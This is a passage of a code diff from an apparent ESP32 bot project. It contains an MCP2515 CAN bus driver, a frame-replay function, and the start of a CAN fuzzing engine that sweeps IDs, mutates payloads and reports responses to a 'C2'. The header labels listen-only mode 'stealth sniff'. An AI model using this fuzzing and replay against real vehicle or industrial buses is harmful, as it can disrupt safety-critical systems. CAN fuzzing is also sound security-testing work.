frame->dlc = dlc & 0x0F;
|
||||
if (frame->dlc > 8) frame->dlc = 8;
|
||||
|
||||
memcpy(frame->data, &rx[6], 8);
|
||||
frame->timestamp_us = 0; /* Caller sets timestamp */
|
||||
}
|
||||
|
||||
/* Write a frame to TX buffer 0 and request send */
|
||||
static bool mcp_write_tx_buffer(const can_frame_t *frame)
|
||||
{
|
||||
/* Check if TX buffer 0 is free */
|
||||
uint8_t ctrl = mcp_read_reg(MCP_TXB0CTRL);
|
||||
if (ctrl & 0x08) {
|
||||
/* TXREQ still set — previous TX pending */
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Build TX buffer content: SIDH + SIDL + EID8 + EID0 + DLC + data */
|
||||
uint8_t tx[14] = { 0 };
|
||||
tx[0] = MCP_LOAD_TX0;
|
||||
|
||||
if (frame->extended) {
|
||||
tx[1] = (uint8_t)(frame->id >> 21); /* SIDH */
|
||||
tx[2] = (uint8_t)((frame->id >> 13) & 0xE0) /* SIDL high bits */
|
||||
| 0x08 /* EXIDE = 1 */
|
||||
| (uint8_t)((frame->id >> 16) & 0x03); /* SIDL low bits */
|
||||
tx[3] = (uint8_t)(frame->id >> 8); /* EID8 */
|
||||
tx[4] = (uint8_t)(frame->id); /* EID0 */
|
||||
tx[5] = frame->dlc | (frame->rtr ? 0x40 : 0x00); /* DLC + RTR */
|
||||
} else {
|
||||
tx[1] = (uint8_t)(frame->id >> 3); /* SIDH */
|
||||
tx[2] = (uint8_t)((frame->id & 0x07) << 5) /* SIDL */
|
||||
| (frame->rtr ? 0x10 : 0x00);
|
||||
tx[3] = 0;
|
||||
tx[4] = 0;
|
||||
tx[5] = frame->dlc;
|
||||
}
|
||||
|
||||
memcpy(&tx[6], frame->data, 8);
|
||||
|
||||
spi_transaction_t t = {
|
||||
.length = 14 * 8,
|
||||
.tx_buffer = tx,
|
||||
};
|
||||
spi_device_transmit(s_spi, &t);
|
||||
|
||||
/* Request to send */
|
||||
uint8_t rts = MCP_RTS_TX0;
|
||||
spi_transaction_t rts_t = {
|
||||
.length = 8,
|
||||
.tx_buffer = &rts,
|
||||
};
|
||||
spi_device_transmit(s_spi, &rts_t);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* GPIO ISR — INT pin (active low)
|
||||
* ============================================================ */
|
||||
|
||||
static void IRAM_ATTR gpio_isr_handler(void *arg)
|
||||
{
|
||||
BaseType_t woken = pdFALSE;
|
||||
xSemaphoreGiveFromISR(s_int_sem, &woken);
|
||||
if (woken) portYIELD_FROM_ISR();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* RX Task
|
||||
* ============================================================ */
|
||||
|
||||
static void rx_task(void *arg)
|
||||
{
|
||||
ESP_LOGI(TAG, "RX task started");
|
||||
|
||||
while (s_running) {
|
||||
/* Wait for interrupt or timeout (poll every 100ms as fallback) */
|
||||
if (xSemaphoreTake(s_int_sem, pdMS_TO_TICKS(100)) != pdTRUE) {
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Read interrupt flags */
|
||||
uint8_t intf = mcp_read_reg(MCP_CANINTF);
|
||||
|
||||
/* RX buffer 0 full */
|
||||
if (intf & MCP_RX0IF) {
|
||||
can_frame_t frame;
|
||||
mcp_read_rx_buffer(0, &frame); /* READ_RX auto-clears RX0IF */
|
||||
frame.timestamp_us = esp_timer_get_time();
|
||||
s_rx_count++;
|
||||
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
|
||||
}
|
||||
|
||||
/* RX buffer 1 full */
|
||||
if (intf & MCP_RX1IF) {
|
||||
can_frame_t frame;
|
||||
mcp_read_rx_buffer(1, &frame); /* READ_RX auto-clears RX1IF */
|
||||
frame.timestamp_us = esp_timer_get_time();
|
||||
s_rx_count++;
|
||||
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
|
||||
}
|
||||
|
||||
/* Error interrupt */
|
||||
if (intf & MCP_ERRIF) {
|
||||
uint8_t eflg = mcp_read_reg(MCP_EFLG);
|
||||
s_bus_errors++;
|
||||
|
||||
if (eflg & MCP_EFLG_TXBO) {
|
||||
s_bus_off = true;
|
||||
ESP_LOGW(TAG, "Bus-off detected");
|
||||
}
|
||||
if (eflg & (MCP_EFLG_RXEP | MCP_EFLG_TXEP)) {
|
||||
s_err_passive = true;
|
||||
}
|
||||
if (eflg & (MCP_EFLG_RX0OVR | MCP_EFLG_RX1OVR)) {
|
||||
s_rx_overflow++;
|
||||
}
|
||||
|
||||
/* Clear error flags */
|
||||
mcp_modify_reg(MCP_EFLG, 0xFF, 0x00);
|
||||
mcp_modify_reg(MCP_CANINTF, MCP_ERRIF, 0x00);
|
||||
}
|
||||
|
||||
/* TX complete — clear flags */
|
||||
if (intf & (MCP_TX0IF | MCP_TX1IF | MCP_TX2IF)) {
|
||||
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF | MCP_TX1IF | MCP_TX2IF, 0x00);
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "RX task stopped");
|
||||
s_rx_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Lifecycle
|
||||
* ============================================================ */
|
||||
|
||||
bool can_driver_init(int bitrate, uint8_t osc_mhz)
|
||||
{
|
||||
if (s_spi) {
|
||||
ESP_LOGW(TAG, "Already initialized");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Select timing table */
|
||||
const can_timing_t *table = NULL;
|
||||
if (osc_mhz == 16) {
|
||||
table = s_timing_16mhz;
|
||||
} else if (osc_mhz == 8) {
|
||||
table = s_timing_8mhz;
|
||||
} else {
|
||||
ESP_LOGE(TAG, "Unsupported oscillator: %u MHz", osc_mhz);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Find matching bitrate */
|
||||
const can_timing_t *timing = NULL;
|
||||
for (int i = 0; table[i].bitrate != 0; i++) {
|
||||
if (table[i].bitrate == bitrate) {
|
||||
timing = &table[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!timing) {
|
||||
ESP_LOGE(TAG, "Unsupported bitrate %d for %u MHz osc", bitrate, osc_mhz);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Init SPI bus */
|
||||
spi_bus_config_t bus_cfg = {
|
||||
.mosi_io_num = CONFIG_CANBUS_PIN_MOSI,
|
||||
.miso_io_num = CONFIG_CANBUS_PIN_MISO,
|
||||
.sclk_io_num = CONFIG_CANBUS_PIN_SCK,
|
||||
.quadwp_io_num = -1,
|
||||
.quadhd_io_num = -1,
|
||||
.max_transfer_sz = 32,
|
||||
};
|
||||
|
||||
esp_err_t ret = spi_bus_initialize(CONFIG_CANBUS_SPI_HOST, &bus_cfg, SPI_DMA_DISABLED);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "SPI bus init failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Add MCP2515 as SPI device */
|
||||
spi_device_interface_config_t dev_cfg = {
|
||||
.mode = 0, /* SPI mode 0 (CPOL=0, CPHA=0) */
|
||||
.clock_speed_hz = CONFIG_CANBUS_SPI_CLOCK_HZ,
|
||||
.spics_io_num = CONFIG_CANBUS_PIN_CS,
|
||||
.queue_size = 4,
|
||||
};
|
||||
|
||||
ret = spi_bus_add_device(CONFIG_CANBUS_SPI_HOST, &dev_cfg, &s_spi);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "SPI device add failed: %s", esp_err_to_name(ret));
|
||||
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Reset MCP2515 (enters CONFIG mode automatically) */
|
||||
mcp_reset();
|
||||
|
||||
/* Verify we can read CANSTAT — should be in CONFIG mode (0x80) */
|
||||
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
|
||||
if ((stat & 0xE0) != MCP_MODE_CONFIG) {
|
||||
ESP_LOGE(TAG, "MCP2515 not responding (CANSTAT=0x%02X)", stat);
|
||||
spi_bus_remove_device(s_spi);
|
||||
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
|
||||
s_spi = NULL;
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "MCP2515 detected (CANSTAT=0x%02X)", stat);
|
||||
|
||||
/* Set bit timing */
|
||||
mcp_write_reg(MCP_CNF1, timing->cnf1);
|
||||
mcp_write_reg(MCP_CNF2, timing->cnf2);
|
||||
mcp_write_reg(MCP_CNF3, timing->cnf3);
|
||||
|
||||
/* Enable interrupts: RX0, RX1, Error */
|
||||
mcp_write_reg(MCP_CANINTE, MCP_RX0IE | MCP_RX1IE | MCP_ERRIE);
|
||||
|
||||
/* Clear all interrupt flags */
|
||||
mcp_write_reg(MCP_CANINTF, 0x00);
|
||||
|
||||
/* RXB0CTRL: rollover to RXB1 if RXB0 full, receive all valid messages */
|
||||
mcp_write_reg(MCP_RXB0CTRL, 0x64); /* BUKT=1, RXM=11 (turn mask/filter off) */
|
||||
mcp_write_reg(MCP_RXB1CTRL, 0x60); /* RXM=11 (turn mask/filter off) */
|
||||
|
||||
/* Create semaphores */
|
||||
s_int_sem = xSemaphoreCreateBinary();
|
||||
s_tx_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
/* Reset counters */
|
||||
s_rx_count = 0;
|
||||
s_tx_count = 0;
|
||||
s_bus_errors = 0;
|
||||
s_rx_overflow = 0;
|
||||
s_bus_off = false;
|
||||
s_err_passive = false;
|
||||
|
||||
/* Configure INT pin as input with pull-up, falling edge interrupt */
|
||||
gpio_config_t io_cfg = {
|
||||
.pin_bit_mask = (1ULL << CONFIG_CANBUS_PIN_INT),
|
||||
.mode = GPIO_MODE_INPUT,
|
||||
.pull_up_en = GPIO_PULLUP_ENABLE,
|
||||
.pull_down_en = GPIO_PULLDOWN_DISABLE,
|
||||
.intr_type = GPIO_INTR_NEGEDGE,
|
||||
};
|
||||
gpio_config(&io_cfg);
|
||||
gpio_install_isr_service(0);
|
||||
gpio_isr_handler_add(CONFIG_CANBUS_PIN_INT, gpio_isr_handler, NULL);
|
||||
|
||||
ESP_LOGI(TAG, "Initialized: %d bps, %u MHz osc, SPI@%d Hz",
|
||||
bitrate, osc_mhz, CONFIG_CANBUS_SPI_CLOCK_HZ);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool can_driver_start(can_mode_t mode)
|
||||
{
|
||||
if (!s_spi) {
|
||||
ESP_LOGE(TAG, "Not initialized");
|
||||
return false;
|
||||
}
|
||||
if (s_running) {
|
||||
ESP_LOGW(TAG, "Already running");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Map mode enum to MCP2515 mode register value */
|
||||
uint8_t mcp_mode;
|
||||
const char *mode_str;
|
||||
switch (mode) {
|
||||
case CAN_MODE_LISTEN_ONLY:
|
||||
mcp_mode = MCP_MODE_LISTEN;
|
||||
mode_str = "listen-only";
|
||||
break;
|
||||
case CAN_MODE_LOOPBACK:
|
||||
mcp_mode = MCP_MODE_LOOPBACK;
|
||||
mode_str = "loopback";
|
||||
break;
|
||||
default:
|
||||
mcp_mode = MCP_MODE_NORMAL;
|
||||
mode_str = "normal";
|
||||
break;
|
||||
}
|
||||
|
||||
/* Set operational mode */
|
||||
mcp_set_mode(mcp_mode);
|
||||
|
||||
/* Verify mode */
|
||||
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
|
||||
if ((stat & 0xE0) != mcp_mode) {
|
||||
ESP_LOGE(TAG, "Failed to enter %s mode (CANSTAT=0x%02X)", mode_str, stat);
|
||||
return false;
|
||||
}
|
||||
|
||||
s_running = true;
|
||||
|
||||
/* Start RX task on Core 1, priority 5 (above normal) */
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
rx_task, "can_rx", 4096, NULL, 5, &s_rx_task, 1
|
||||
);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create RX task");
|
||||
s_running = false;
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Started in %s mode", mode_str);
|
||||
return true;
|
||||
}
|
||||
|
||||
void can_driver_stop(void)
|
||||
{
|
||||
if (!s_running) return;
|
||||
|
||||
s_running = false;
|
||||
|
||||
/* Give semaphore to wake RX task so it exits */
|
||||
if (s_int_sem) xSemaphoreGive(s_int_sem);
|
||||
|
||||
/* Wait for RX task to die */
|
||||
for (int i = 0; i < 20 && s_rx_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
}
|
||||
|
||||
/* Put MCP2515 back to CONFIG mode */
|
||||
if (s_spi) {
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Stopped");
|
||||
}
|
||||
|
||||
void can_driver_deinit(void)
|
||||
{
|
||||
can_driver_stop();
|
||||
|
||||
/* Remove ISR */
|
||||
gpio_isr_handler_remove(CONFIG_CANBUS_PIN_INT);
|
||||
|
||||
/* Free SPI */
|
||||
if (s_spi) {
|
||||
spi_bus_remove_device(s_spi);
|
||||
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
|
||||
s_spi = NULL;
|
||||
}
|
||||
|
||||
/* Free semaphores */
|
||||
if (s_int_sem) { vSemaphoreDelete(s_int_sem); s_int_sem = NULL; }
|
||||
if (s_tx_mutex) { vSemaphoreDelete(s_tx_mutex); s_tx_mutex = NULL; }
|
||||
|
||||
ESP_LOGI(TAG, "Deinitialized");
|
||||
}
|
||||
|
||||
bool can_driver_is_running(void)
|
||||
{
|
||||
return s_running;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — TX / RX
|
||||
* ============================================================ */
|
||||
|
||||
bool can_driver_send(const can_frame_t *frame)
|
||||
{
|
||||
if (!s_running || !s_spi) return false;
|
||||
|
||||
xSemaphoreTake(s_tx_mutex, portMAX_DELAY);
|
||||
|
||||
/* Try to load into TX buffer, with retries for busy buffer */
|
||||
bool ok = false;
|
||||
for (int i = 0; i < 10; i++) {
|
||||
if (mcp_write_tx_buffer(frame)) {
|
||||
ok = true;
|
||||
break;
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
|
||||
if (ok) {
|
||||
/* Wait for TX complete (TX0IF) or timeout */
|
||||
for (int i = 0; i < 100; i++) {
|
||||
uint8_t intf = mcp_read_reg(MCP_CANINTF);
|
||||
if (intf & MCP_TX0IF) {
|
||||
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF, 0x00);
|
||||
s_tx_count++;
|
||||
break;
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
}
|
||||
|
||||
xSemaphoreGive(s_tx_mutex);
|
||||
return ok;
|
||||
}
|
||||
|
||||
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx)
|
||||
{
|
||||
s_rx_cb = cb;
|
||||
s_rx_ctx = ctx;
|
||||
}
|
||||
|
||||
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx)
|
||||
{
|
||||
if (cb) *cb = s_rx_cb;
|
||||
if (ctx) *ctx = s_rx_ctx;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Hardware Filters
|
||||
* ============================================================ */
|
||||
|
||||
/* Filter register base addresses (SIDH of each filter) */
|
||||
static const uint8_t s_filter_addrs[6] = {
|
||||
MCP_RXF0SIDH, MCP_RXF1SIDH, MCP_RXF2SIDH,
|
||||
MCP_RXF3SIDH, MCP_RXF4SIDH, MCP_RXF5SIDH,
|
||||
};
|
||||
|
||||
static const uint8_t s_mask_addrs[2] = {
|
||||
MCP_RXM0SIDH, MCP_RXM1SIDH,
|
||||
};
|
||||
|
||||
/* Write ID to filter/mask register set (4 bytes: SIDH, SIDL, EID8, EID0) */
|
||||
static void write_id_regs(uint8_t base_addr, uint32_t id, bool extended)
|
||||
{
|
||||
uint8_t sidh, sidl, eid8, eid0;
|
||||
|
||||
if (extended) {
|
||||
sidh = (uint8_t)(id >> 21);
|
||||
sidl = (uint8_t)((id >> 13) & 0xE0) | 0x08 | (uint8_t)((id >> 16) & 0x03);
|
||||
eid8 = (uint8_t)(id >> 8);
|
||||
eid0 = (uint8_t)(id);
|
||||
} else {
|
||||
sidh = (uint8_t)(id >> 3);
|
||||
sidl = (uint8_t)((id & 0x07) << 5);
|
||||
eid8 = 0;
|
||||
eid0 = 0;
|
||||
}
|
||||
|
||||
mcp_write_reg(base_addr, sidh);
|
||||
mcp_write_reg(base_addr + 1, sidl);
|
||||
mcp_write_reg(base_addr + 2, eid8);
|
||||
mcp_write_reg(base_addr + 3, eid0);
|
||||
}
|
||||
|
||||
bool can_driver_set_filter(int idx, uint32_t id, bool extended)
|
||||
{
|
||||
if (!s_spi || idx < 0 || idx > 5) return false;
|
||||
|
||||
/* Filters can only be set in CONFIG mode */
|
||||
bool was_running = s_running;
|
||||
if (was_running) can_driver_stop();
|
||||
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
write_id_regs(s_filter_addrs[idx], id, extended);
|
||||
|
||||
/* Enable filtering on the relevant RX buffer */
|
||||
if (idx < 2) {
|
||||
mcp_write_reg(MCP_RXB0CTRL, 0x04); /* BUKT=1, RXM=00 (use filter) */
|
||||
} else {
|
||||
mcp_write_reg(MCP_RXB1CTRL, 0x00); /* RXM=00 (use filter) */
|
||||
}
|
||||
|
||||
if (was_running) can_driver_start(CAN_MODE_NORMAL);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool can_driver_set_mask(int idx, uint32_t mask, bool extended)
|
||||
{
|
||||
if (!s_spi || idx < 0 || idx > 1) return false;
|
||||
|
||||
bool was_running = s_running;
|
||||
if (was_running) can_driver_stop();
|
||||
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
write_id_regs(s_mask_addrs[idx], mask, extended);
|
||||
|
||||
if (was_running) can_driver_start(CAN_MODE_NORMAL);
|
||||
return true;
|
||||
}
|
||||
|
||||
void can_driver_clear_filters(void)
|
||||
{
|
||||
if (!s_spi) return;
|
||||
|
||||
bool was_running = s_running;
|
||||
if (was_running) can_driver_stop();
|
||||
|
||||
mcp_set_mode(MCP_MODE_CONFIG);
|
||||
|
||||
/* Set masks to 0 (match anything) */
|
||||
for (int i = 0; i < 2; i++) {
|
||||
write_id_regs(s_mask_addrs[i], 0, false);
|
||||
}
|
||||
|
||||
/* RXM=11 → turn off mask/filter, receive all */
|
||||
mcp_write_reg(MCP_RXB0CTRL, 0x64);
|
||||
mcp_write_reg(MCP_RXB1CTRL, 0x60);
|
||||
|
||||
if (was_running) can_driver_start(CAN_MODE_NORMAL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Status
|
||||
* ============================================================ */
|
||||
|
||||
void can_driver_get_status(can_status_t *out)
|
||||
{
|
||||
memset(out, 0, sizeof(*out));
|
||||
|
||||
out->rx_count = s_rx_count;
|
||||
out->tx_count = s_tx_count;
|
||||
out->bus_errors = s_bus_errors;
|
||||
out->rx_overflow = s_rx_overflow;
|
||||
out->bus_off = s_bus_off;
|
||||
|
||||
if (s_spi) {
|
||||
out->tx_errors = mcp_read_reg(MCP_TEC);
|
||||
out->rx_errors = mcp_read_reg(MCP_REC);
|
||||
out->error_passive = (out->tx_errors > 127) || (out->rx_errors > 127);
|
||||
}
|
||||
|
||||
if (!s_spi) out->state = "not_initialized";
|
||||
else if (!s_running) out->state = "stopped";
|
||||
else if (out->bus_off) out->state = "bus_off";
|
||||
else if (out->error_passive) out->state = "error_passive";
|
||||
else out->state = "running";
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API — Replay
|
||||
* ============================================================ */
|
||||
|
||||
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct)
|
||||
{
|
||||
if (!s_running || !frames || count <= 0) return false;
|
||||
|
||||
ESP_LOGI(TAG, "Replaying %d frames at %d%% speed", count, speed_pct);
|
||||
|
||||
int64_t base_ts = frames[0].timestamp_us;
|
||||
|
||||
for (int i = 0; i < count && s_running; i++) {
|
||||
/* Wait for inter-frame delay */
|
||||
if (i > 0 && speed_pct > 0) {
|
||||
int64_t delta_us = frames[i].timestamp_us - frames[i - 1].timestamp_us;
|
||||
if (delta_us > 0) {
|
||||
int64_t wait_us = (delta_us * 100) / speed_pct;
|
||||
if (wait_us > 1000) {
|
||||
vTaskDelay(pdMS_TO_TICKS(wait_us / 1000));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
can_frame_t tx = frames[i];
|
||||
if (!can_driver_send(&tx)) {
|
||||
ESP_LOGW(TAG, "Replay: send failed at frame %d", i);
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Replay complete (%d frames)", count);
|
||||
return true;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS */
|
||||
117
espilon_bot/components/mod_canbus/canbus_driver.h
Normal file
117
espilon_bot/components/mod_canbus/canbus_driver.h
Normal file
@ -0,0 +1,117 @@
|
||||
/*
|
||||
* canbus_driver.h
|
||||
* MCP2515 CAN controller driver via SPI.
|
||||
* Abstracts all hardware details — upper layers see only can_frame_t.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* CAN Frame
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
uint32_t id; /* Arbitration ID (11 or 29 bit) */
|
||||
uint8_t dlc; /* Data Length Code (0-8) */
|
||||
uint8_t data[8]; /* Payload */
|
||||
bool extended; /* Extended (29-bit) ID */
|
||||
bool rtr; /* Remote Transmission Request */
|
||||
int64_t timestamp_us; /* Microsecond timestamp (esp_timer_get_time) */
|
||||
} can_frame_t;
|
||||
|
||||
/* ============================================================
|
||||
* Operating Modes
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
CAN_MODE_NORMAL, /* Full TX/RX participation on bus */
|
||||
CAN_MODE_LISTEN_ONLY, /* RX only, no ACK (stealth sniff) */
|
||||
CAN_MODE_LOOPBACK, /* Self-test, TX frames loop back to RX */
|
||||
} can_mode_t;
|
||||
|
||||
/* ============================================================
|
||||
* RX Callback
|
||||
* ============================================================ */
|
||||
|
||||
/* Called from RX task context (not ISR) — safe to call msg_data() etc. */
|
||||
typedef void (*can_rx_callback_t)(const can_frame_t *frame, void *ctx);
|
||||
|
||||
/* ============================================================
|
||||
* Driver Lifecycle
|
||||
* ============================================================ */
|
||||
|
||||
/* Init SPI bus + MCP2515 reset + bit timing config */
|
||||
bool can_driver_init(int bitrate, uint8_t osc_mhz);
|
||||
|
||||
/* Set MCP2515 to operational mode, start RX task */
|
||||
bool can_driver_start(can_mode_t mode);
|
||||
|
||||
/* Set MCP2515 to config mode, kill RX task */
|
||||
void can_driver_stop(void);
|
||||
|
||||
/* Free SPI resources */
|
||||
void can_driver_deinit(void);
|
||||
|
||||
/* Check if driver is running */
|
||||
bool can_driver_is_running(void);
|
||||
|
||||
/* ============================================================
|
||||
* TX / RX
|
||||
* ============================================================ */
|
||||
|
||||
/* Send a single CAN frame (blocking until TX complete or timeout) */
|
||||
bool can_driver_send(const can_frame_t *frame);
|
||||
|
||||
/* Register callback for received frames */
|
||||
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx);
|
||||
|
||||
/* Retrieve the currently installed RX callback */
|
||||
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx);
|
||||
|
||||
/* ============================================================
|
||||
* Hardware Filters (MCP2515 acceptance masks + filters)
|
||||
* ============================================================ */
|
||||
|
||||
/* Set one of 6 acceptance filters (0-5). Filters 0-1 use mask 0, filters 2-5 use mask 1. */
|
||||
bool can_driver_set_filter(int filter_idx, uint32_t id, bool extended);
|
||||
|
||||
/* Set one of 2 acceptance masks (0-1) */
|
||||
bool can_driver_set_mask(int mask_idx, uint32_t mask, bool extended);
|
||||
|
||||
/* Clear all filters — accept all frames */
|
||||
void can_driver_clear_filters(void);
|
||||
|
||||
/* ============================================================
|
||||
* Status / Diagnostics
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
uint32_t rx_count;
|
||||
uint32_t tx_count;
|
||||
uint32_t rx_errors; /* REC from MCP2515 */
|
||||
uint32_t tx_errors; /* TEC from MCP2515 */
|
||||
uint32_t bus_errors;
|
||||
uint32_t rx_overflow; /* RX buffer overflow count */
|
||||
bool bus_off; /* TEC > 255 */
|
||||
bool error_passive; /* TEC or REC > 127 */
|
||||
const char *state; /* "stopped"/"running"/"bus_off"/"error_passive" */
|
||||
} can_status_t;
|
||||
|
||||
void can_driver_get_status(can_status_t *out);
|
||||
|
||||
/* ============================================================
|
||||
* Replay
|
||||
* ============================================================ */
|
||||
|
||||
/* Replay recorded frames. speed_pct: 100=real-time, 0=max speed */
|
||||
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
359
espilon_bot/components/mod_canbus/canbus_fuzz.c
Normal file
359
espilon_bot/components/mod_canbus/canbus_fuzz.c
Normal file
@ -0,0 +1,359 @@
|
||||
/*
|
||||
* canbus_fuzz.c
|
||||
* CAN bus fuzzing engine implementation.
|
||||
*
|
||||
* Runs as a FreeRTOS task on Core 1. Reports interesting responses to C2.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_FUZZ)
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "esp_random.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "canbus_fuzz.h"
|
||||
#include "canbus_driver.h"
|
||||
#include "utils.h"
|
||||
|
||||
#ifdef CONFIG_CANBUS_ISO_TP
|
||||
#include "canbus_isotp.h"
|
||||
#endif
|
||||
|
||||
#define TAG "CAN_FUZZ"
|
||||
|
||||
static volatile bool s_fuzz_running = false;
|
||||
static TaskHandle_t s_fuzz_task = NULL;
|
||||
static fuzz_config_t s_fuzz_cfg;
|
||||
static const char *s_fuzz_req_id = NULL;
|
||||
static uint32_t s_fuzz_count = 0;
|
||||
static uint32_t s_fuzz_responses = 0;
|
||||
static SemaphoreHandle_t s_fuzz_mutex = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* Response detector callback
|
||||
* ============================================================ */
|
||||
|
||||
/* Temporary callback to detect responses during fuzzing */
|
||||
static can_rx_callback_t s_prev_cb = NULL;
|
||||
static void *s_prev_ctx = NULL;
|
||||
|
||||
static void fuzz_rx_callback(const can_frame_t *frame, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
/* Count any response and report interesting ones */
|
||||
s_fuzz_responses++;
|
||||
|
||||
/* Report to C2 */
|
||||
char line[96];
|
||||
snprintf(line, sizeof(line), "FUZZ_RSP|%03lX|%u|",
|
||||
(unsigned long)frame->id, frame->dlc);
|
||||
size_t off = strlen(line);
|
||||
for (int i = 0; i < frame->dlc && off < sizeof(line) - 2; i++) {
|
||||
off += snprintf(line + off, sizeof(line) - off, "%02X", frame->data[i]);
|
||||
}
|
||||
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
|
||||
|
||||
/* Chain to original callback */
|
||||
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Fuzz Modes
|
||||
* ============================================================ */
|
||||
|
||||
/* ID Scan: send fixed payload on every ID in range */
|
||||
static void fuzz_id_scan(void)
|
||||
{
|
||||
uint8_t data[8];
|
||||
memcpy(data, s_fuzz_cfg.seed_data, 8);
|
||||
uint8_t dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8;
|
||||
|
||||
for (uint32_t id = s_fuzz_cfg.id_start;
|
||||
id <= s_fuzz_cfg.id_end && s_fuzz_running;
|
||||
id++) {
|
||||
|
||||
can_frame_t frame = {
|
||||
.id = id,
|
||||
.dlc = dlc,
|
||||
.extended = (id > 0x7FF),
|
||||
.rtr = false,
|
||||
};
|
||||
memcpy(frame.data, data, 8);
|
||||
|
||||
can_driver_send(&frame);
|
||||
s_fuzz_count++;
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
|
||||
}
|
||||
|
||||
if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Data Mutate: for a fixed ID, try all values for each byte */
|
||||
static void fuzz_data_mutate(void)
|
||||
{
|
||||
can_frame_t frame = {
|
||||
.id = s_fuzz_cfg.target_id,
|
||||
.dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8,
|
||||
.extended = (s_fuzz_cfg.target_id > 0x7FF),
|
||||
.rtr = false,
|
||||
};
|
||||
memcpy(frame.data, s_fuzz_cfg.seed_data, 8);
|
||||
|
||||
/* For each byte position, try all 256 values */
|
||||
for (int pos = 0; pos < frame.dlc && s_fuzz_running; pos++) {
|
||||
uint8_t original = frame.data[pos];
|
||||
|
||||
for (int val = 0; val < 256 && s_fuzz_running; val++) {
|
||||
frame.data[pos] = (uint8_t)val;
|
||||
can_driver_send(&frame);
|
||||
s_fuzz_count++;
|
||||
|
||||
if (s_fuzz_cfg.delay_ms > 0) {
|
||||
